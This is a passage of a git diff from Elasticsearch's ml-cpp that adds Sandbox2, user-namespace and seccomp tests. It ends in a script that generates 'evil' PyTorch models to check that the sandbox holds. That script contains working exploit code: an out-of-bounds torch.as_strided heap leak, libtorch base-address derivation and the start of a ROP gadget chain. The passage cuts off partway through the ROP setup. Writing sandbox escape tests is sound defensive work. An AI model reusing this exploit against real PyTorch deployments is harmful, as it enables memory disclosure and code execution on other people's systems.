pathTemplate[] = "/tmp/ml_sandbox_policy_nodir_test_XXXXXX"; + char* created = ::mkdtemp(pathTemplate); + BOOST_TEST_REQUIRE(created != nullptr); + m_LiteralBase.assign(created); + + char resolved[PATH_MAX]; + BOOST_TEST_REQUIRE(::realpath(m_LiteralBase.c_str(), resolved) != nullptr); + m_CanonicalBase.assign(resolved); + } + + ~CTrustedBaseOnlyFixture() { + ::rmdir((m_CanonicalBase + "/ml-child-ipc/child-ensure-1").c_str()); + ::rmdir((m_CanonicalBase + "/ml-child-ipc").c_str()); + if (m_LiteralBase != m_CanonicalBase) { + ::rmdir(m_LiteralBase.c_str()); + } + ::rmdir(m_CanonicalBase.c_str()); + } + + const std::string& canonicalTrustedBase() const { return m_CanonicalBase; } + +private: + std::string m_LiteralBase; + std::string m_CanonicalBase; +}; + } // namespace BOOST_AUTO_TEST_SUITE(CPytorchInferenceSandboxPolicyTest) @@ -263,4 +301,74 @@ BOOST_AUTO_TEST_CASE(testRejectsEmptyValueForRecognizedPathOptionEvenAmongValidO ml::sandbox::EChildIpcPathRejection::E_NotAbsolute); } +BOOST_AUTO_TEST_CASE(testEnsureChildIpcDirectoryCreatesMissingDirectoryBeforeValidation) { + // Reproduces the real bug: with neither ml-child-ipc nor the per-child + // directory created yet, validateChildIpcLaunchSpec() must fail closed + // (realpath() has nothing to resolve) - and after + // ensureChildIpcDirectory() runs, the exact same validation call must + // now succeed, proving the directory-creation step is what was missing, + // not a mis-ordering of an already-existing step. + CTrustedBaseOnlyFixture fixture; + const std::string childRoot{fixture.canonicalTrustedBase() + "/ml-child-ipc/child-ensure-1"}; + const std::vector args{"--input=" + childRoot + "/input.fifo", + "--output=" + childRoot + "/output.fifo"}; + + const ml::sandbox::SChildIpcValidationResult before{ + ml::sandbox::validateChildIpcLaunchSpec(fixture.canonicalTrustedBase(), args)}; + BOOST_TEST_REQUIRE(before.s_Ok == false); + + const ml::sandbox::EChildIpcDirectoryOutcome outcome{ + ml::sandbox::ensureChildIpcDirectory(fixture.canonicalTrustedBase(), args)}; + BOOST_REQUIRE(outcome == ml::sandbox::EChildIpcDirectoryOutcome::E_Ready); + + struct stat childRootStat; + BOOST_TEST_REQUIRE(::stat(childRoot.c_str(), &childRootStat) == 0); + BOOST_REQUIRE_EQUAL(static_cast(childRootStat.st_mode & 0777), 0700); + + const ml::sandbox::SChildIpcValidationResult after{ + ml::sandbox::validateChildIpcLaunchSpec(fixture.canonicalTrustedBase(), args)}; + BOOST_TEST_REQUIRE(after.s_Ok); + BOOST_TEST_REQUIRE(after.s_Rejected.empty()); + BOOST_REQUIRE_EQUAL(after.s_Spec.s_ChildId, "child-ensure-1"); +} + +BOOST_AUTO_TEST_CASE(testEnsureChildIpcDirectoryIsIdempotentAcrossRetries) { + // A retry/restart for the same child-id must not fail just because the + // directory from the earlier attempt is still there. + CTrustedBaseOnlyFixture fixture; + const std::string childRoot{fixture.canonicalTrustedBase() + "/ml-child-ipc/child-ensure-1"}; + const std::vector args{"--input=" + childRoot + "/input.fifo"}; + + BOOST_REQUIRE(ml::sandbox::ensureChildIpcDirectory(fixture.canonicalTrustedBase(), args) == + ml::sandbox::EChildIpcDirectoryOutcome::E_Ready); + BOOST_REQUIRE(ml::sandbox::ensureChildIpcDirectory(fixture.canonicalTrustedBase(), args) == + ml::sandbox::EChildIpcDirectoryOutcome::E_Ready); + + const ml::sandbox::SChildIpcValidationResult result{ + ml::sandbox::validateChildIpcLaunchSpec(fixture.canonicalTrustedBase(), args)}; + BOOST_TEST_REQUIRE(result.s_Ok); +} + +BOOST_AUTO_TEST_CASE(testEnsureChildIpcDirectoryFailsClosedOnCreationFailure) { + // A creation failure (here: an unwritable trusted base, standing in for + // permissions/ENOSPC on a real host) must report E_CreationFailed - not + // crash, and not let validateChildIpcLaunchSpec() somehow still pass. + CTrustedBaseOnlyFixture fixture; + BOOST_TEST_REQUIRE(::chmod(fixture.canonicalTrustedBase().c_str(), 0500) == 0); + + const std::string childRoot{fixture.canonicalTrustedBase() + "/ml-child-ipc/child-ensure-1"}; + const std::vector args{"--input=" + childRoot + "/input.fifo"}; + + const ml::sandbox::EChildIpcDirectoryOutcome outcome{ + ml::sandbox::ensureChildIpcDirectory(fixture.canonicalTrustedBase(), args)}; + BOOST_REQUIRE(outcome == ml::sandbox::EChildIpcDirectoryOutcome::E_CreationFailed); + + const ml::sandbox::SChildIpcValidationResult result{ + ml::sandbox::validateChildIpcLaunchSpec(fixture.canonicalTrustedBase(), args)}; + BOOST_TEST_REQUIRE(result.s_Ok == false); + + // Restore write permission so the fixture destructor can clean up. + ::chmod(fixture.canonicalTrustedBase().c_str(), 0700); +} + BOOST_AUTO_TEST_SUITE_END() diff --git a/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc b/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc new file mode 100644 index 0000000000..c9aa29669a --- /dev/null +++ b/lib/sandbox/unittest/CSandboxUserNamespaceProbeTest_Linux.cc @@ -0,0 +1,164 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ + +// Linux-only controller-side (host-process) test for the +// ML_SANDBOX2_REQUIRE CI wiring. Runs ml_sandbox_userns_probe as a plain +// subprocess - deliberately NOT +// through a Sandbox2 Executor/policy, since this test is checking the +// *ambient* CI environment's userns capability (e.g. whether a Buildkite +// k8s pod's runtime permits mount("proc", ...)), not any Sandbox2 policy; +// running it inside a Sandbox2 sandbox here would test the wrong thing. +// +// Three modes, selected by the ML_SANDBOX2_REQUIRE environment variable: +// unset -> "ambient" mode: run the probe once, log its outcome, do +// not fail the test either way. Ambient Docker seccomp +// behavior is diagnostic, never load-bearing coverage. +// enforced -> the probe must succeed (all 7 stages complete); fail the +// test if any stage fails. Wired into run_tests.sh's +// aarch64/Docker branch only: there is no userns-capable +// x86_64 CI runner today, so enforced coverage is accepted +// as aarch64-only for now. +// fail_closed -> pins the *absence* of userns capability as the tested +// condition: assert the probe fails at some stage (the +// specific stage isn't load-bearing). This mode's job is +// confirming the CI environment matches what the existing +// fail-closed spawn path expects, not re-testing the +// fail-closed spawn path itself. + +#include + +#include +#include +#include +#include +#include +#include + +#ifndef ML_SANDBOX2_USERNS_PROBE_PAYLOAD +#error "ML_SANDBOX2_USERNS_PROBE_PAYLOAD must be defined by lib/sandbox/unittest/CMakeLists.txt" +#endif + +namespace { + +//! Outcome of running the userns probe payload, distinguishing a genuine +//! staged probe failure (the payload ran and its own stage logic reported +//! failure, pipe/exit code EXIT_FAILURE) from an exec/setup failure (the +//! payload binary could not be launched at all - missing, wrong +//! permissions, bad path). The two must never be conflated: fail_closed's +//! job is confirming the *ambient environment* lacks userns capability, not +//! masking a broken test harness (missing build artifact, CMake wiring +//! regression) as that same "expected absence" result. +enum class EProbeOutcome { E_Success, E_StagedFailure, E_ExecFailure }; + +//! Forks/execs the userns probe payload directly (no Sandbox2 involved) and +//! classifies the result. POSIX convention: an exec failure surfaces as +//! exit code 126 (found but not executable) or 127 (not found/exec +//! otherwise failed) - the payload's own staged-failure exit code is +//! EXIT_FAILURE (1), which never collides with 126/127. A signal death, or +//! any other non-zero exit, is treated as a staged failure: only 126/127 +//! are reserved here for "the child never ran the probe's own logic". +EProbeOutcome runProbe() { + const std::string payloadPath{ML_SANDBOX2_USERNS_PROBE_PAYLOAD}; + + const pid_t child = ::fork(); + BOOST_TEST_REQUIRE(child >= 0); + + if (child == 0) { + ::execl(payloadPath.c_str(), payloadPath.c_str(), static_cast(nullptr)); + // execl only returns on failure. Distinguish "found but not + // executable" (126) from "not found/exec otherwise failed" (127), + // matching shell convention, so the parent can tell an exec/setup + // failure apart from the payload's own staged-failure exit code. + ::_exit(errno == EACCES ? 126 : 127); + } + + int status = 0; + BOOST_TEST_REQUIRE(::waitpid(child, &status, 0) == child); + + if (WIFEXITED(status) == 0) { + // Killed by a signal: not a meaningful staged result, but also not + // the specific exec-failure signature (126/127) - treat as a + // staged failure rather than a hard harness-broken failure. + return EProbeOutcome::E_StagedFailure; + } + + const int exitStatus = WEXITSTATUS(status); + if (exitStatus == 126 || exitStatus == 127) { + return EProbeOutcome::E_ExecFailure; + } + return exitStatus == 0 ? EProbeOutcome::E_Success : EProbeOutcome::E_StagedFailure; +} + +} // namespace + +BOOST_AUTO_TEST_SUITE(CSandboxUserNamespaceProbeTest_Linux) + +BOOST_AUTO_TEST_CASE(testMatchesRequiredMode) { + const char* mode = std::getenv("ML_SANDBOX2_REQUIRE"); + const EProbeOutcome outcome = runProbe(); + + // An exec/setup failure means the payload never ran at all - a broken + // test harness (missing build artifact, CMake wiring regression, bad + // permissions), not a probe result. Never meaningful in any mode, so + // fail outright before consulting ML_SANDBOX2_REQUIRE - in particular, + // this must never be allowed to satisfy fail_closed's "probe failed" + // check vacuously. + if (outcome == EProbeOutcome::E_ExecFailure) { + BOOST_FAIL("ml_sandbox_userns_probe payload could not be exec'd " + "(exit 126/127) - test harness is broken, not a " + "genuine probe result"); + } + + const bool probeSucceeded = outcome == EProbeOutcome::E_Success; + + if (mode == nullptr) { + // Ambient mode: diagnostic only - never load-bearing. + BOOST_TEST_MESSAGE("ml_sandbox_userns_probe ambient outcome: " + << (probeSucceeded ? "success" : "failure")); + return; + } + + if (std::strcmp(mode, "enforced") == 0) { + BOOST_TEST_REQUIRE(probeSucceeded); + return; + } + + if (std::strcmp(mode, "fail_closed") == 0) { + // fail_closed pins the *absence* of userns capability as the tested + // condition (see the file-level comment). The accepted revisit + // trigger is "when a userns-capable x86_64 CI runner becomes + // available" - the day that happens, a runner acquiring a + // capability is an environment improvement, not a regression, so it + // must not look like this test broke. Distinguish + // three outcomes rather than a single BOOST_TEST_REQUIRE(!probeSucceeded): + // - harness/exec broken: already a hard failure via the + // E_ExecFailure branch above, unaffected by this branch. + // - environment genuinely lacks userns capability (the expected, + // currently-universal case): log and pass. + // - environment now HAS userns capability: emit a clear, + // actionable message, but do NOT fail the build - acquiring a + // capability is not a regression. + if (probeSucceeded) { + BOOST_TEST_MESSAGE("userns capability is now available on this host (ml_sandbox_userns_probe " + "succeeded under ML_SANDBOX2_REQUIRE=fail_closed); consider re-pinning " + "enforced coverage here now that a userns-capable x86_64 CI runner " + "exists (none did as of this test's introduction)"); + } else { + BOOST_TEST_MESSAGE("ml_sandbox_userns_probe fail_closed check: userns capability " + "genuinely absent, as expected"); + } + return; + } + + BOOST_FAIL("Unrecognised ML_SANDBOX2_REQUIRE value: " + std::string(mode)); +} + +BOOST_AUTO_TEST_SUITE_END() diff --git a/lib/sandbox/unittest/payloads/ml_sandbox_probe.cc b/lib/sandbox/unittest/payloads/ml_sandbox_probe.cc index e418e2d8e6..59a43e98fa 100644 --- a/lib/sandbox/unittest/payloads/ml_sandbox_probe.cc +++ b/lib/sandbox/unittest/payloads/ml_sandbox_probe.cc @@ -141,6 +141,20 @@ int main(int argc, char** argv) { report("pid_namespace", (::getpid() <= 2) ? "namespaced" : "not_namespaced", std::to_string(::getpid())); + // /proc must be mounted inside the sandbox rootfs. Intel oneMKL's + // runtime dispatcher reads /proc/self/exe to self-locate and dlopen its + // CPU-specific libmkl_*.so.3 kernels; if /proc is absent this readlink + // fails with ENOENT and MKL aborts with "Cannot load ", + // killing every sandboxed pytorch_inference. This guards the /proc mount + // in fixedMountDecisions(). + char exePath[4096]; + const ssize_t exeLen = ::readlink("/proc/self/exe", exePath, sizeof(exePath) - 1); + if (exeLen > 0) { + report("proc_self_exe", "readable", ""); + } else { + report("proc_self_exe", "unreadable", std::strerror(errno)); + } + // External egress denial (negative control): an outbound connect to // a guaranteed non-routable test address (TEST-NET-1, RFC 5737) must // fail - Sandbox2's network namespace has no route out. Using a diff --git a/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc b/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc new file mode 100644 index 0000000000..a295b10fd1 --- /dev/null +++ b/lib/sandbox/unittest/payloads/ml_sandbox_userns_probe.cc @@ -0,0 +1,228 @@ +/* + * Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one + * or more contributor license agreements. Licensed under the Elastic License + * 2.0 and the following additional limitation. Functionality enabled by the + * files subject to the Elastic License 2.0 may only be used in production when + * invoked by an Elasticsearch process with a license key installed that permits + * use of machine learning features. You may not use this file except in + * compliance with the Elastic License 2.0 and the foregoing additional + * limitation. + */ + +// Staged user-namespace capability probe for the ML_SANDBOX2_REQUIRE CI +// wiring. Unlike ml_sandbox_probe.cc (the typed filesystem/network launch +// policy's own *policy* mechanism probe, which runs inside an already-built +// Sandbox2 sandbox) this payload exercises the raw kernel primitives +// Sandbox2's own forkserver depends on - unshare(CLONE_NEWUSER), uid/gid +// mapping, unshare(CLONE_NEWNS | CLONE_NEWPID), and a proc mount inside the +// new namespaces - run directly by the host-process controller test, with no +// Sandbox2 policy involved at all. Its job is to pin down whether the +// *ambient CI environment* (e.g. a Buildkite k8s pod) permits userns +// operations, independent of any Sandbox2 policy's correctness. Deliberately +// dependency-free, like ml_sandbox_probe.cc and sandbox_smoke_payload.cc: no +// ml-cpp library dependencies, no sandbox policy of its own. +// +// Runs the following 7 stages in order and reports the first failed +// stage and errno on any failure; success only if all 7 complete: +// 1. probe pipe + fork +// 2. unshare(CLONE_NEWUSER) +// 3. uid/gid map writes, including setgroups +// 4. unshare(CLONE_NEWNS | CLONE_NEWPID) +// 5. fork into the new PID namespace +// 6. mount("/", MS_REC | MS_PRIVATE) +// 7. mount("proc", "/proc", "proc", ...) +// +// Stage 7 MUST run after the stage-5 fork, matching the existing fix +// (commit 50bacc2b) that mounts proc only after the fork into the new PID +// namespace. A proc mount issued by the stage-4 unshare()'d process itself, +// before forking into the namespace, would mount /proc for the wrong PID +// namespace view. Do not reorder stages 5 and 7. + +// unshare() and the CLONE_NEWUSER/CLONE_NEWNS/CLONE_NEWPID constants are GNU +// extensions gated behind _GNU_SOURCE in glibc's ; define it +// explicitly (must precede any system header include) rather than relying on +// libstdc++ defining it implicitly for this translation unit. Guarded +// because g++ already predefines it on glibc targets - an unconditional +// #define here would trigger a macro-redefinition warning. +#ifndef _GNU_SOURCE +#define _GNU_SOURCE +#endif + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +namespace { + +//! Wire format for reporting the probe's outcome back through the pipe +//! connecting the forked stages to this payload's own main(), which is the +//! only process that ever writes to stdout - the pipe is the only channel +//! available once fork() has split the staged work across processes that, +//! from stage 5 onward, live in a different PID namespace. +struct SStageResult { + int s_FailedStage; // 0 means every stage succeeded. + int s_Errno; +}; + +void writeResult(int pipeWriteFd, int failedStage, int errnoValue) { + SStageResult result{failedStage, errnoValue}; + // Best-effort: if this write itself fails there is nothing more this + // process can do to report - the reader treats EOF/a short read as a + // failure of its own. + static_cast(::write(pipeWriteFd, &result, sizeof(result))); +} + +//! Stages 6-7: mount("/", MS_REC | MS_PRIVATE) then mount("proc", ...). +//! Called only from the stage-5 grandchild, i.e. only once it is running as +//! the new PID namespace's own PID 1 - the ordering this whole probe exists +//! to pin down. +void runMountStages(int pipeWriteFd) { + if (::mount(nullptr, "/", nullptr, MS_REC | MS_PRIVATE, nullptr) != 0) { + writeResult(pipeWriteFd, 6, errno); + return; + } + if (::mount("proc", "/proc", "proc", 0, nullptr) != 0) { + writeResult(pipeWriteFd, 7, errno); + return; + } + writeResult(pipeWriteFd, 0, 0); +} + +//! Stages 2-5: unshare(CLONE_NEWUSER), uid/gid map writes (incl. +//! setgroups), unshare(CLONE_NEWNS | CLONE_NEWPID), then the stage-5 fork. +//! Called from the stage-1 fork's child. +void runNamespaceStages(int pipeWriteFd) { + const uid_t uid = ::getuid(); + const gid_t gid = ::getgid(); + + if (::unshare(CLONE_NEWUSER) != 0) { + writeResult(pipeWriteFd, 2, errno); + return; + } + + // setgroups must be denied before the gid_map write below is permitted + // for an unprivileged (non-CAP_SETGID) caller - kernel requirement + // since Linux 3.19 (CVE-2014-8989 mitigation). + int setgroupsFd = ::open("/proc/self/setgroups", O_WRONLY); + if (setgroupsFd < 0 || ::write(setgroupsFd, "deny", 4) != 4) { + const int savedErrno = errno; + if (setgroupsFd >= 0) { + ::close(setgroupsFd); + } + writeResult(pipeWriteFd, 3, savedErrno); + return; + } + ::close(setgroupsFd); + + char uidMapBuf[64]; + const int uidMapLen = std::snprintf(uidMapBuf, sizeof(uidMapBuf), + "0 %d 1\n", static_cast(uid)); + int uidMapFd = ::open("/proc/self/uid_map", O_WRONLY); + if (uidMapFd < 0 || ::write(uidMapFd, uidMapBuf, uidMapLen) != uidMapLen) { + const int savedErrno = errno; + if (uidMapFd >= 0) { + ::close(uidMapFd); + } + writeResult(pipeWriteFd, 3, savedErrno); + return; + } + ::close(uidMapFd); + + char gidMapBuf[64]; + const int gidMapLen = std::snprintf(gidMapBuf, sizeof(gidMapBuf), + "0 %d 1\n", static_cast(gid)); + int gidMapFd = ::open("/proc/self/gid_map", O_WRONLY); + if (gidMapFd < 0 || ::write(gidMapFd, gidMapBuf, gidMapLen) != gidMapLen) { + const int savedErrno = errno; + if (gidMapFd >= 0) { + ::close(gidMapFd); + } + writeResult(pipeWriteFd, 3, savedErrno); + return; + } + ::close(gidMapFd); + + if (::unshare(CLONE_NEWNS | CLONE_NEWPID) != 0) { + writeResult(pipeWriteFd, 4, errno); + return; + } + + // Stage 5: fork into the just-created PID namespace. unshare(CLONE_NEWPID) + // does not move the calling process into the new namespace - only its + // *next* forked child becomes that namespace's PID 1. Stages 6-7 (in + // particular the stage-7 proc mount) must therefore run in this child, + // never in the unshare()'d process itself. + const pid_t pidNsChild = ::fork(); + if (pidNsChild < 0) { + writeResult(pipeWriteFd, 5, errno); + return; + } + if (pidNsChild == 0) { + runMountStages(pipeWriteFd); + ::_exit(0); + } + + int status = 0; + ::waitpid(pidNsChild, &status, 0); +} + +} // namespace + +int main() { + int pipeFds[2]; + // Stage 1: probe pipe + fork. + if (::pipe(pipeFds) != 0) { + std::printf("ml_sandbox_userns_probe: outcome=failure stage=1 errno=%d detail=%s\n", + errno, std::strerror(errno)); + return EXIT_FAILURE; + } + + const pid_t stage1Child = ::fork(); + if (stage1Child < 0) { + const int savedErrno = errno; + ::close(pipeFds[0]); + ::close(pipeFds[1]); + std::printf("ml_sandbox_userns_probe: outcome=failure stage=1 errno=%d detail=%s\n", + savedErrno, std::strerror(savedErrno)); + return EXIT_FAILURE; + } + + if (stage1Child == 0) { + ::close(pipeFds[0]); + runNamespaceStages(pipeFds[1]); + ::close(pipeFds[1]); + ::_exit(0); + } + + ::close(pipeFds[1]); + SStageResult result{-1, 0}; + const ssize_t bytesRead = ::read(pipeFds[0], &result, sizeof(result)); + ::close(pipeFds[0]); + + int status = 0; + ::waitpid(stage1Child, &status, 0); + + if (bytesRead != static_cast(sizeof(result))) { + // Short read/EOF: the staged process tree exited (or was killed) + // before reporting a result - stage unknown, but still a failure. + std::printf("ml_sandbox_userns_probe: outcome=failure stage=-1 errno=0 " + "detail=no_result_reported\n"); + return EXIT_FAILURE; + } + + if (result.s_FailedStage == 0) { + std::printf("ml_sandbox_userns_probe: outcome=success\n"); + return EXIT_SUCCESS; + } + + std::printf("ml_sandbox_userns_probe: outcome=failure stage=%d errno=%d detail=%s\n", + result.s_FailedStage, result.s_Errno, std::strerror(result.s_Errno)); + return EXIT_FAILURE; +} diff --git a/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc b/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc index ce1f63805a..119cf76f54 100644 --- a/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc +++ b/lib/seccomp/unittest/CSeccompFilterBuilderTest.cc @@ -182,6 +182,30 @@ BOOST_AUTO_TEST_CASE(testCarryForwardSyscallsPresent) { #endif } +BOOST_AUTO_TEST_CASE(testSandbox2ExplicitSyscallsCarriedForwardFromPr2873) { + // The clean rebuild's Sandbox2 policy builder originally granted only + // legacyBpfAllowedSyscalls(), which is not sufficient: Sandbox2's + // namespace/threading setup exercises syscalls (scheduling, epoll, pipes, + // directory management) the legacy in-process filter never needed. PR + // #2873's enhancement/sandbox2 branch already had a dedicated + // sandbox2ExplicitSyscalls() list for exactly this; this regression test + // keeps a future rewrite from dropping it again the same way. + const std::set explicitGrants{ + ml::seccomp::pytorch_inference::sandbox2ExplicitSyscalls().begin(), + ml::seccomp::pytorch_inference::sandbox2ExplicitSyscalls().end()}; + + BOOST_TEST_REQUIRE(explicitGrants.count(__NR_sched_getaffinity) == 1); + BOOST_TEST_REQUIRE(explicitGrants.count(__NR_sched_setaffinity) == 1); + BOOST_TEST_REQUIRE(explicitGrants.count(__NR_epoll_pwait) == 1); + BOOST_TEST_REQUIRE(explicitGrants.count(__NR_pipe2) == 1); + + // Every syscall the legacy filter allows must also be reachable under + // Sandbox2, either explicitly or via a PolicyBuilder helper - otherwise a + // future addition to legacyBpfAllowedSyscalls() silently regresses + // Sandbox2 support without either declaration noticing. + BOOST_TEST_REQUIRE(ml::seccomp::pytorch_inference::sandbox2AllowsAllLegacySyscalls()); +} + #endif // __linux__ BOOST_AUTO_TEST_CASE(testDegradedModeAttestationMarker) { @@ -237,4 +261,88 @@ BOOST_AUTO_TEST_CASE(testDecideDegradedModeActionFaultInjection) { } } +BOOST_AUTO_TEST_CASE(testSandbox2LaunchedChildRecognisesOnlyExactlyOne) { + using ml::seccomp::sandbox2LaunchedChild; + + // Exactly "1" - the value CSandboxedProcessSpawner_Linux.cc sets on a + // sandboxee - and nothing else. + BOOST_REQUIRE_EQUAL(true, sandbox2LaunchedChild("1")); + + BOOST_REQUIRE_EQUAL(false, sandbox2LaunchedChild(nullptr)); + BOOST_REQUIRE_EQUAL(false, sandbox2LaunchedChild("")); + BOOST_REQUIRE_EQUAL(false, sandbox2LaunchedChild("0")); + BOOST_REQUIRE_EQUAL(false, sandbox2LaunchedChild("true")); + BOOST_REQUIRE_EQUAL(false, sandbox2LaunchedChild("10")); + BOOST_REQUIRE_EQUAL(false, sandbox2LaunchedChild(" 1")); +} + +BOOST_AUTO_TEST_CASE(testInProcessFilterSkippedEntirelyForSandbox2LaunchedChild) { + using ml::seccomp::EDegradedModeAction; + using ml::seccomp::ESystemCallFilterInstallOutcome; + using ml::seccomp::applyInProcessSeccompFilter; + + // ML_SANDBOXED=1: the installer must never be invoked, no degraded-mode + // termination may be derived and no attestation marker may be produced - + // and that must hold for every outcome an installation attempt could + // have returned, including the failure classes that would otherwise + // terminate the launch once TERMINATE_ON_DEGRADED_SECCOMP_FAILURE is activated. + const ESystemCallFilterInstallOutcome allOutcomes[]{ + ESystemCallFilterInstallOutcome::E_Installed, + ESystemCallFilterInstallOutcome::E_MechanismUnavailable, + ESystemCallFilterInstallOutcome::E_PrivilegeRestrictionFailed, + ESystemCallFilterInstallOutcome::E_FilterInstallFailed}; + + for (const auto wouldHaveReturned : allOutcomes) { + bool installerCalled{false}; + const auto result = applyInProcessSeccompFilter( + true, true, [&installerCalled, wouldHaveReturned] { + installerCalled = true; + return wouldHaveReturned; + }); + + BOOST_REQUIRE_EQUAL(false, installerCalled); + BOOST_REQUIRE_EQUAL(false, result.s_Attempted); + BOOST_REQUIRE_EQUAL(static_cast(EDegradedModeAction::E_ContinueDespiteFailure), + static_cast(result.s_Action)); + BOOST_TEST_REQUIRE(result.s_AttestationMarker.empty()); + } +} + +BOOST_AUTO_TEST_CASE(testInProcessFilterUnchangedOnLegacyRoute) { + using ml::seccomp::EDegradedModeAction; + using ml::seccomp::ESystemCallFilterInstallOutcome; + using ml::seccomp::applyInProcessSeccompFilter; + + // ML_SANDBOXED unset/not "1": behaviour is exactly the pre-existing + // install + decide + attest sequence, i.e. the fault-injection coverage + // above (testDecideDegradedModeActionFaultInjection) still describes + // this path. + bool installerCalled{false}; + const auto installed = applyInProcessSeccompFilter(false, true, [&installerCalled] { + installerCalled = true; + return ESystemCallFilterInstallOutcome::E_Installed; + }); + BOOST_REQUIRE_EQUAL(true, installerCalled); + BOOST_REQUIRE_EQUAL(true, installed.s_Attempted); + BOOST_REQUIRE_EQUAL(static_cast(EDegradedModeAction::E_ContinueDespiteFailure), + static_cast(installed.s_Action)); + BOOST_REQUIRE_EQUAL(std::string("{\"ml_sandbox2_route\":\"legacy\",\"event\":\"seccomp_installed\"}"), + installed.s_AttestationMarker); + + const ESystemCallFilterInstallOutcome failureModes[]{ + ESystemCallFilterInstallOutcome::E_MechanismUnavailable, + ESystemCallFilterInstallOutcome::E_PrivilegeRestrictionFailed, + ESystemCallFilterInstallOutcome::E_FilterInstallFailed}; + + for (const auto outcome : failureModes) { + const auto failed = applyInProcessSeccompFilter( + false, true, [outcome] { return outcome; }); + BOOST_REQUIRE_EQUAL(true, failed.s_Attempted); + BOOST_REQUIRE_EQUAL(static_cast(EDegradedModeAction::E_TerminateBeforeIo), + static_cast(failed.s_Action)); + // A failed install attests nothing, exactly as before. + BOOST_TEST_REQUIRE(failed.s_AttestationMarker.empty()); + } +} + BOOST_AUTO_TEST_SUITE_END() diff --git a/test/evil_model_generator.py b/test/evil_model_generator.py new file mode 100644 index 0000000000..edf41610c6 --- /dev/null +++ b/test/evil_model_generator.py @@ -0,0 +1,231 @@ +#!/usr/bin/env python3 +# +# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one +# or more contributor license agreements. Licensed under the Elastic License +# 2.0 and the following additional limitation. Functionality enabled by the +# files subject to the Elastic License 2.0 may only be used in production when +# invoked by an Elasticsearch process with a license key installed that permits +# use of machine learning features. You may not use this file except in +# compliance with the Elastic License 2.0 and the foregoing additional +# limitation. +# +""" +Generate evil PyTorch models for testing Sandbox2 security. + +This script generates three models: +1. model_benign.pt - A simple benign model for positive testing +2. model_leak.pt - A model that leaks heap addresses via assertion errors. + Not asserted on separately by test_sandbox2_attack_defense.py: the heap + read this model performs is an intra-process memory access, not a + syscall or filesystem boundary Sandbox2 enforces, so it provides no + independent Sandbox2 signal on its own (see that harness's + test_exploit_model docstring). Kept here for manual/exploratory use and + because model_exploit.pt below reuses the same leak technique as the + first stage of its ROP chain. +3. model_exploit.pt - A model that attempts to write files using shellcode + manipulation built from the leaked addresses (this is the case + test_sandbox2_attack_defense.py actually exercises). + +Requires --skipModelValidation when fed to pytorch_inference: these models +use aten::as_strided with an out-of-bounds offset, which CModelGraphValidator +rejects at load time by design (see CModelGraphValidatorTest and +test_pytorch_inference_evil_models.py for that, separate, layer of +coverage). +""" + +import os +import sys + +import torch + + +class SimpleBenignModel(torch.nn.Module): + """A simple benign model that performs basic tensor operations.""" + + def __init__(self): + super().__init__() + + def forward(self, a, b, c, d): + # Simple forward pass - just return a simple output tensor + # This model doesn't need to do anything complex, just validate the test infrastructure + output = torch.sum(a) + torch.sum(b) + torch.sum(c) + torch.sum(d) + return output.unsqueeze(0).unsqueeze(0) # Return shape [1, 1] + + +class LeakModel(torch.nn.Module): + """Model that leaks heap addresses via assertion errors.""" + + def __init__(self): + super().__init__() + + def find_heap_overlap(self, tensors): + evil_length = 0x900 * 8 + leak = torch.as_strided(tensors, [evil_length], [1], 2305843009213693952 - evil_length) + index = [-1] + for i in range(evil_length - 1 - 5, -1, -1): + if leak[i + 3].item() == leak[i + 5].item() and leak[i + 3].item() >> 40 == 127: + if leak[i + 2].item() >= 0x100000000 and leak[i + 2].item() <= 0x100000005: + index.append(i) + return (index, leak) + + def forward(self, a, b, c, d): + tmp = [] + heap_len = 200 + array_len = 0x900 + + for i in range(heap_len): + tmp_values = [0xdead00000 + i] + [0xdead00000 + j for j in range(2, array_len)] + tmp.append(torch.tensor(tmp_values)) + + for i in range(heap_len): + indexs, leak = self.find_heap_overlap(tmp[i]) + indexs = indexs[1:] + if indexs == []: + continue + + for index in indexs: + heap_addr = leak[index + 3].item() + libtorch_python_addr = leak[index + 1].item() + libtorch_cpu_addr = libtorch_python_addr - 0xc878b50 + assert 1 == 0, "Input tensor must have at least one element: " + hex(libtorch_cpu_addr) + + for i in range(heap_len): + print(tmp[i].shape) + + return torch.zeros(0) + + +class ExploitModel(torch.nn.Module): + """Model that attempts to write files using shellcode manipulation.""" + + def __init__(self): + super().__init__() + + def find_heap_overlap(self, tensors): + evil_length = 0x900 * 8 + leak = torch.as_strided(tensors, [evil_length], [1], 2305843009213693952 - evil_length) + index = [-1] + for i in range(evil_length - 1 - 5, -1, -1): + if leak[i + 3].item() == leak[i + 5].item() and leak[i + 3].item() >> 40 == 127: + if leak[i + 2].item() >= 0x100000000 and leak[i + 2].item() <= 0x100000005: + index.append(i) + return (index, leak) + + def get_address_data(self, leak, index: int, tmp, target_addr: int): + leak[index] = target_addr + return tmp[0].item() + + def forward(self, a, b, c, d): + tmp = [] + heap_len = 200 + array_len = 0x900 + + for i in range(heap_len): + tmp_values = [0xdead00000 + i] + [0xdead00000 + j for j in range(2, array_len)] + tmp.append(torch.tensor(tmp_values)) + + for i in range(heap_len): + indexs, leak = self.find_heap_overlap(tmp[i]) + indexs = indexs[1:] + if indexs == []: + continue + + for index in indexs: + heap_addr = leak[index + 3].item() + libtorch_python_addr = leak[index + 1].item() + libtorch_cpu_addr = libtorch_python_addr - 0xc878b50 + + gadget_addr_1 = 0x0000000001335761 + libtorch_cpu_addr # mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x28] + gadget_addr_2 = 0x0000000008f0a9e3 + libtorch_cpu_addr # mov rdi, qword ptr [rax + 0x20] ; mov rax, qword ptr [rdi] ; call qword ptr [rax + 0x20] + 